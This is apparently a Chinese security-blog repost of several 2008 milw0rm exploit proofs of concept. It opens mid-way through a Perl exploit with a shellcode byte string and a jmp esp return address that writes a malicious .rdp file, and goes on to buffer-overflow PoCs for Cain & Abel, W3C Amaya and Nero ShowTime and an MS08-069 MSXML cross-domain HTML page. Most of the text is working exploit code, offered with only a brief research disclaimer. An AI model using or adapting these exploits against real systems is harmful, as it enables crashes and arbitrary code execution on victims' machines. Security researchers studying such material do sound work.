"\x25\x4e\xa4\x5c\x61\xc4\x37\xd2\x56\xdd\x53\x06\x39\xc4\x33\x10".
"\x92\xf1\x53\x58\xf7\xf4\x18\xc0\xb5\x41\x18\x2d\x1e\x04\x12\x54".
"\x18\x07\x33\xad\x22\x91\xfc\x5d\x6c\x20\x53\x06\x3d\xc4\x33\x3f".
"\x92\xc9\x93\xd2\x46\xd9\xd9\xb2\x92\xd9\x53\x58\xf2\x4c\x84\x7d".
"\x1d\x06\xe9\x99\x7d\x4e\x98\x69\x9c\x05\xa0\x55\x92\x85\xd4\xd2".
"\x69\xd9\x75\xd2\x71\xcd\x33\x50\x92\x45\x68\x59\x19\xc5\x53\x31".
"\x25\x9a\xe9\xaf\x79\x93\x51\xa1\x9a\x05\xa3\x09\x71\x35\x52\x5d".
"\x46\xad\x40\xa7\x93\xcb\x8f\xa6\xfe\xa6\xb9\x35\x7a\xeb\xbd\x21".
"\x7c\xc5\xd8\x59";
my $addr = "\xb5\xb5\xfd\x7f";
my $overflow = "\x41" x 8206 ;
my $overflow2 = "\x41" x 255 ;
my $eip = "\xd7\x30\x9d\x7c"; #   FOR WINDOWS XP SP3:  0x7c9d30d7       jmp esp (shell32.dll)

open(my $rdp, "> s.rdp");
print $rdp $overflow.$eip.$addr.$overflow2.$shellcode;
close($rdp);

# milw0rm.com [2008-11-30]

分类: 矩阵毒刺 标签:

Cain & Abel 4.9.23 (rdp file) Buffer Overflow PoC

2008年12月1日 没有评论 74 views

The following procedures (methods) may contain something offensive,they are only for security researches and teaching , at your own risk!

# exploit.py
##########################################################
# Cain & Abel v4.9.23 (rdp file) Buffer Overflow PoC
# (other versions may also affected)
# By:Encrypt3d.M!nd
#    encrypt3d.blogspot.com
#
# Greetz:-=Mizo=-,L!0N,El Mariachi,MiNi SpIder
##########################################################
#
# Description:
# When Using Remote Desktop Password Decoder in Cain and
# Importing ".rdp" file contains long Chars(ex:8250 chars)
# The Program Will crash.And The Following Happen:
#
# EAX:41414141  ECX:7C832648  EDX:41414142  EBX:00000000
# ESP:0012BCD4  EBP:0012BCD4  ESI:001F07A8  EDI:00000001
# EIP:7E43C201 USER32.7E43C201
#
# Access violation When Reading [41414141]
#
# And Also The Pointer to next SEH record and SE Handler
# Will gonna BE Over-wrote
#
# This Poc Will Gonna Overwrite the Pointer to next SEH
# With"42424242" and The SE Handler with"43434343"
#
##########################################################
chars = "A"*8194
ptns = "B"*4
shan = "C"*4
chars2 = "A"*200

exp=open('cain.rdp','w')
exp.write(chars+ptns+shan+chars2)
exp.close()

分类: 矩阵毒刺 标签:

W3C Amaya 10.1 Web Browser (URL Bar) Remote Stack Overflow PoC

2008年11月25日 没有评论 77 views

#            W3C Amaya 10.1 Web Browser
#
# Amaya (URL Bar) Remote Stack Overflow Vulnerability
#
# Written and discovered by: 
# r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au)
#
# Advisory: http://www.bmgsec.com.au/advisory/40/
# ------------------------------------------------------
#
# Shellcode notes: 
# The application fails to correctly process certain bytes: 
# 0x9c becomes 0x9cc2
# Similar events occur with different bytes (0xf8, 0xfb, 0xbe, 0x93, 0xab, 0xaf 0xeb). 
#
# After reviewing the source code, the below function modifies the
# shellcode:  
# Line 902: int TtaWCToMBstring (wchar_t src, unsigned char **dest)
#
# The max value which can be used is 0x1fffff <-- Thanks Luigi!
# ------------------------------------------------------

# The URL bar contains a buffer overflow vulnerability: 
# buffer length: 1600 bytes
#
# [junk] + [eip] +     [shellcode]
#  1600  +   4   +  sizeof(shellcode)
#
# ESP points to data after EIP. 
#
# I found it difficult to access the URL bar via HTML code. For example, compile the above code, 
# write it to a HTML file, then load it into the browser. Attempt to click the link and
# you will notice there is a 800 character limit on the link. 
#
# To bypass this problem click the link then select "Links" >> "Create or change link...". 
# Now click "Confirm". Alternatively just copy the payload into the URL bar. 
#
# URL Bar Proof of concept: 
# ----------------------------------------------------
#!/usr/bin/perl

use warnings;
use strict;

my $shellcode = 'C' x 80;

# 0x7D035F53 -> \x53\x5f\x03\x7d <-- Bingo! (call esp)
my $data   =       '<a href="' .
                        'A' x 1600 .
                        "\x53\x5f\x03\x7d" . # eip (ESP points to stuff after RET, so shellcode)
                        $shellcode . 
                        '">r0ut3r</a>';
print $data;

# milw0rm.com [2008-11-24]

分类: 矩阵毒刺 标签:

Nero ShowTime 5.0.15.0 m3u Playlist File Remote Buffer Overflow PoC

2008年11月25日 没有评论 76 views

#!/usr/bin/perl -w
#
# Nero ShowTime v5.0.15.0 m3u Playlist File Remote Buffer Overflow PoC
#
# Summary: Nero ShowTime provides you with a high-performance software DVD player
# that takes you to a new dimension in DVD's. Its cinema-like sound and excellent image
# quality for all digital pictures make an adventure of every film! What is more, Nero ShowTime
# supports all DVD-Video formats and can play them from a disc and from the hard drive.
#
# Product web page: http://www.nero.com
#
# Description: Nero ShowTime is prone to a buffer-overflow vulnerability because it fails
# to perform adequate boundary checks on user-supplied input. Successfully exploiting
# these issues may allow remote attackers to execute arbitrary code in the context of the
# application. Failed exploit attempts will cause denial-of-service conditions. Nero ShowTime
# 5.0.15.0 is vulnerable, prior versions may also be affected.
#
# Tested on Microsoft Windows XP Professional SP2 (English)
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
# liquidworm [ t00t ] gmail [ d0t ] com
#
# 24.11.2008
#

$filename = "Jackie_Chan.m3u";

$mana = "A" x 432809;

print "\n\n[*] Creating evul playlist: $filename ...\r\n";
sleep(3);

open(m3u, ">./$filename") || die "\n\aCannot open $filename: $!";

print m3u "$mana";

close (m3u);

print "\n[*] Playlist file successfully created!\r\n";

# milw0rm.com [2008-11-24]

分类: 矩阵毒刺 标签:

Microsoft XML Core Services DTD Cross-Domain Scripting PoC MS08-069

2008年11月24日 没有评论 88 views

<html>
<body>
KB955218 - CVE-2008-4029 - JA
<script type="text/javascript">
var dom = new ActiveXObject("Msxml2.DOMDocument.3.0");
dom.async = false;
var url = "http://www.milw0rm.com/forfun.dtd";
var xml = "<!DOCTYPE pwn SYSTEM '" + url + "'>";
if (dom.loadXML(xml) == 0)
{
  alert("Blue or Red Pill? " + dom.parseError.srcText);
}
</script>
</body>
</html>

# milw0rm.com [2008-11-23]

分类: 矩阵毒刺 标签: